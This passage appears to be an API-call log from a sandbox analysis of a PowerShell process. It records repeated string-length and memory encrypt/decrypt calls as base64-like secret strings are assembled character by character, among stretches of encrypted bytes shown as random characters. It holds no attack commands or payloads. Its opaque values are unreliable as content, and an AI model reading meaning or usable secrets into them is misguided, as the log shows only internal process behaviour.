MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.894] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp") returned 0x18 [0235.894] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.894] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵") returned 0x18 [0235.894] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵") returned 0x18 [0235.894] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵") returned 0x18 [0235.894] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵") returned 0x20 [0235.894] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.894] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5泰墱ტ꭭⢩덎") returned 0x20 [0235.894] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.895] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵㩦挨灟㤏⎰ꔧ霻") returned 0x20 [0235.895] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵㩦挨灟㤏⎰ꔧ霻") returned 0x20 [0235.895] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.895] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5T墱ტ꭭⢩덎") returned 0x20 [0235.895] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.895] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵嘚밗ᓡ생譨ఙō") returned 0x20 [0235.895] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵嘚밗ᓡ생譨ఙō") returned 0x20 [0235.895] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.895] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNტ꭭⢩덎") returned 0x20 [0235.895] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.895] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵ࢄ黆㟁楙鱸풦꫸") returned 0x20 [0235.895] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵ࢄ黆㟁楙鱸풦꫸") returned 0x20 [0235.895] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.896] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNnტ꭭⢩덎") returned 0x20 [0235.896] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.896] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵ꩶ䖪蓌뻇垙赩㆜颋") returned 0x20 [0235.896] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵ꩶ䖪蓌뻇垙赩㆜颋") returned 0x20 [0235.896] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.896] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/꭭⢩덎") returned 0x20 [0235.896] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.896] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䋎ﱥ褚䟸ᦒ辆ꝉ") returned 0x20 [0235.896] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䋎ﱥ褚䟸ᦒ辆ꝉ") returned 0x20 [0235.896] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.896] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/2⢩덎") returned 0x20 [0235.896] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.896] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䶶鑶窱왫魝ἰ") returned 0x20 [0235.897] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䶶鑶窱왫魝ἰ") returned 0x20 [0235.897] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.897] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/21덎") returned 0x20 [0235.897] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.897] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵勶㧕⼟䯚๣墺嚞⸔") returned 0x20 [0235.897] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵勶㧕⼟䯚๣墺嚞⸔") returned 0x20 [0235.897] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.897] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/21j") returned 0x20 [0235.897] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.897] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲") returned 0x20 [0235.897] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲") returned 0x20 [0235.898] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲") returned 0x20 [0235.898] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲\x02") returned 0x28 [0235.898] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.898] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/21jW죚마༘팭슂腹慀") returned 0x28 [0235.898] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.898] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲纖꽺潹ᚮ⫴꧆幒⨠") returned 0x28 [0235.898] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲纖꽺潹ᚮ⫴꧆幒⨠") returned 0x28 [0235.898] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.898] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/21jW8마༘팭슂腹慀") returned 0x28 [0235.898] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.898] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲봑䝁孅슳₱쨨妢있") returned 0x28 [0235.899] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲봑䝁孅슳₱쨨妢있") returned 0x28 [0235.899] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.899] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/21jW84༘팭슂腹慀") returned 0x28 [0235.899] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.899] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲Նඪ뭏ﱃㆋᜲἬ䡢") returned 0x28 [0235.899] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲Նඪ뭏ﱃㆋᜲἬ䡢") returned 0x28 [0235.899] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.899] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/21jW84Z팭슂腹慀") returned 0x28 [0235.899] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.899] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲ᵘ裩ꗶ璾窉屄喣\⋛) returned 0x28 [0235.899] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲ᵘ裩ꗶ璾窉屄喣\⋛) returned 0x28 [0235.899] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.899] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/21jW84ZS슂腹慀") returned 0x28 [0235.899] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.900] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲졾ꗆ몠麆铮濐빶犡") returned 0x28 [0235.900] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲졾ꗆ몠麆铮濐빶犡") returned 0x28 [0235.900] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.900] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/21jW84ZSF腹慀") returned 0x28 [0235.900] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.900] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲뢐繣딾ㄾ裲썦儐㠽") returned 0x28 [0235.900] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲뢐繣딾ㄾ裲썦儐㠽") returned 0x28 [0235.900] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.900] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/21jW84ZSFn慀") returned 0x28 [0235.900] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.900] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲ឨ㨌\⿞뀭⫲⋜) returned 0x28 [0235.900] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲ឨ㨌\⿞뀭⫲⋜) returned 0x28 [0235.900] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.901] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/21jW84ZSFnY") returned 0x28 [0235.901] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.901] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲مᩏ箸莻薋啠\⋘) returned 0x28 [0235.901] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲مᩏ箸莻薋啠\⋘) returned 0x28 [0235.901] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲مᩏ箸莻薋啠\⋘) returned 0x28 [0235.901] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲مᩏ箸莻薋啠\⋘) returned 0x30 [0235.901] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.901] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/21jW84ZSFnYe⋚೑㥵๤鯃ᔏ") returned 0x30 [0235.901] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.902] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲مᩏ箸莻薋啠\䣘掁㕫ࠓ壸쨟⋔) returned 0x30 [0235.902] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲مᩏ箸莻薋啠\䣘掁㕫ࠓ壸쨟⋔) returned 0x30 [0235.902] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.902] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/21jW84ZSFnYe6೑㥵๤鯃ᔏ") returned 0x30 [0235.902] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.902] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲مᩏ箸莻薋啠\ꋘ쯌᫳礩셆\") returned 0x30 [0235.902] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲مᩏ箸莻薋啠\ꋘ쯌᫳礩셆\") returned 0x30 [0235.902] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.902] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/21jW84ZSFnYe6s㥵๤鯃ᔏ") returned 0x30 [0235.902] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.902] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲مᩏ箸莻薋啠\律牲籚뽿膡麽ᾴ節≚) returned 0x30 [0235.902] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲مᩏ箸莻薋啠\律牲籚뽿膡麽ᾴ節≚) returned 0x30 [0235.902] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.903] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWp5TNn/21jW84ZSFnYe6s=๤鯃ᔏ") returned 0x30 [0235.903] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.903] EtwEventActivityIdControl () returned 0x0 [0235.904] EtwEventActivityIdControl () returned 0x0 [0235.904] EtwEventActivityIdControl () returned 0x0 [0235.904] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.904] EtwEventActivityIdControl () returned 0x0 [0235.904] EtwEventActivityIdControl () returned 0x0 [0235.904] EtwEventActivityIdControl () returned 0x0 [0235.905] SysStringLen (param_1="") returned 0x8 [0235.905] SysStringLen (param_1="N") returned 0x8 [0235.905] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.906] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0235.906] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0235.906] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.906] SysStringLen (param_1="ND") returned 0x8 [0235.906] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.906] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0235.906] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0235.906] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.906] SysStringLen (param_1="NDZ") returned 0x8 [0235.906] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.906] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0235.906] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0235.907] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.907] SysStringLen (param_1="NDZl") returned 0x8 [0235.907] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.907] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0235.907] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0235.907] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.907] SysStringLen (param_1="NDZlO") returned 0x8 [0235.907] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.907] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0235.907] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0235.907] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.907] SysStringLen (param_1="NDZlOD") returned 0x8 [0235.907] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.908] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0235.908] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0235.908] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.908] SysStringLen (param_1="NDZlODR") returned 0x8 [0235.908] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.908] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0235.908] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0235.908] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.908] SysStringLen (param_1="NDZlODRm") returned 0x8 [0235.908] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.908] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.909] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.909] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.909] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0235.909] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.909] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0235.909] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.909] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0235.909] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0235.909] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.910] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0235.910] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0235.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0235.910] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.910] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0235.910] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0235.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0235.910] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.910] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0235.910] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0235.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0235.911] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.911] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0235.911] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0235.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0235.911] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.911] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0235.911] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0235.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0235.911] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.911] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0235.912] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0235.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0235.912] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.912] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0235.912] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0235.913] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.913] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0235.913] 